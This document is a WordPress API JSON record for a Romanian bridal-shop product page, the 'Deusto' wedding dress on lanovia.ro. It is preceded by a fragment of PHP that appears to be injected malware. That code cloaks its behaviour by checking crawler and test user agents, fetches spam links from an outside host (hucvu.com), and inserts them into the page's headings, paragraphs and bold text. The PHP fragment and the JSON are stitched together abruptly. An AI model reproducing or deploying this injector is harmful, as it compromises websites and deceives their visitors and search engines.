if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://hucvu.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"id":6346,"date":"2018-06-20T10:38:37","date_gmt":"2018-06-20T07:38:37","guid":{"rendered":"https:\/\/www.lanovia.ro\/?post_type=product&p=6346"},"modified":"2021-10-20T15:52:55","modified_gmt":"2021-10-20T12:52:55","slug":"deusto","status":"publish","type":"product","link":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/","title":{"rendered":"Rochie de mireasa Deusto"},"content":{"rendered":"<p><a href=\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/\">Rochie de mireasa<\/a> sirena din tiul cu aplicatii stralucitoaree si dantela cu pietre aplicata maiestuos<\/p>\n","protected":false},"excerpt":{"rendered":"<p><a href=\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/\">Rochie de mireasa<\/a> sirena din tiul cu aplicatii stralucitoaree si dantela cu pietre aplicata maiestuos<\/p>\n","protected":false},"featured_media":6318,"comment_status":"open","ping_status":"closed","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Rochie de mireasa Deusto - LaNovia - Rochii de mireasa<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/\" \/>\n<meta property=\"og:locale\" content=\"ro_RO\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Rochie de mireasa Deusto - LaNovia - Rochii de mireasa\" \/>\n<meta property=\"og:description\" content=\"Rochie de mireasa sirena din tiul cu aplicatii stralucitoaree si dantela cu pietre aplicata maiestuos\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/\" \/>\n<meta property=\"og:site_name\" content=\"LaNovia - Rochii de mireasa\" \/>\n<meta property=\"article:modified_time\" content=\"2021-10-20T12:52:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"703\" \/>\n\t<meta property=\"og:image:height\" content=\"1024\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/\",\"url\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/\",\"name\":\"Rochie de mireasa Deusto - LaNovia - Rochii de mireasa\",\"isPartOf\":{\"@id\":\"https:\/\/www.lanovia.ro\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg\",\"datePublished\":\"2018-06-20T07:38:37+00:00\",\"dateModified\":\"2021-10-20T12:52:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#breadcrumb\"},\"inLanguage\":\"ro-RO\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ro-RO\",\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage\",\"url\":\"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg\",\"contentUrl\":\"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg\",\"width\":703,\"height\":1024},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Rochii de mireasa\",\"item\":\"https:\/\/www.lanovia.ro\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Rochii de mireasa\",\"item\":\"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"MYSTIC 2017\",\"item\":\"https:\/\/www.lanovia.ro\/colectii\/mystic-2017\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Rochie de mireasa Deusto\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.lanovia.ro\/#website\",\"url\":\"https:\/\/www.lanovia.ro\/\",\"name\":\"LaNovia - Rochii de mireasa\",\"description\":\"WEDDING DRESS TO IMPRESS\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.lanovia.ro\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"ro-RO\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Rochie de mireasa Deusto - LaNovia - Rochii de mireasa","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/","og_locale":"ro_RO","og_type":"article","og_title":"Rochie de mireasa Deusto - LaNovia - Rochii de mireasa","og_description":"Rochie de mireasa sirena din tiul cu aplicatii stralucitoaree si dantela cu pietre aplicata maiestuos","og_url":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/","og_site_name":"LaNovia - Rochii de mireasa","article_modified_time":"2021-10-20T12:52:55+00:00","og_image":[{"width":703,"height":1024,"url":"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg","type":"image\/jpeg"}],"twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/","url":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/","name":"Rochie de mireasa Deusto - LaNovia - Rochii de mireasa","isPartOf":{"@id":"https:\/\/www.lanovia.ro\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage"},"image":{"@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage"},"thumbnailUrl":"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg","datePublished":"2018-06-20T07:38:37+00:00","dateModified":"2021-10-20T12:52:55+00:00","breadcrumb":{"@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#breadcrumb"},"inLanguage":"ro-RO","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/"]}]},{"@type":"ImageObject","inLanguage":"ro-RO","@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#primaryimage","url":"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg","contentUrl":"https:\/\/www.lanovia.ro\/wp-content\/uploads\/2018\/06\/Deusto.jpg","width":703,"height":1024},{"@type":"BreadcrumbList","@id":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/deusto\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Rochii de mireasa","item":"https:\/\/www.lanovia.ro\/"},{"@type":"ListItem","position":2,"name":"Rochii de mireasa","item":"https:\/\/www.lanovia.ro\/rochii-de-mireasa\/"},{"@type":"ListItem","position":3,"name":"MYSTIC 2017","item":"https:\/\/www.lanovia.ro\/colectii\/mystic-2017\/"},{"@type":"ListItem","position":4,"name":"Rochie de mireasa Deusto"}]},{"@type":"WebSite","@id":"https:\/\/www.lanovia.ro\/#website","url":"https:\/\/www.lanovia.ro\/","name":"LaNovia - Rochii de mireasa","description":"WEDDING DRESS TO IMPRESS","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.lanovia.ro\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"ro-RO"}]}},"_links":{"self":[{"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/product\/6346"}],"collection":[{"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/comments?post=6346"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/media\/6318"}],"wp:attachment":[{"href":"https:\/\/www.lanovia.ro\/wp-json\/wp\/v2\/media?parent=6346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}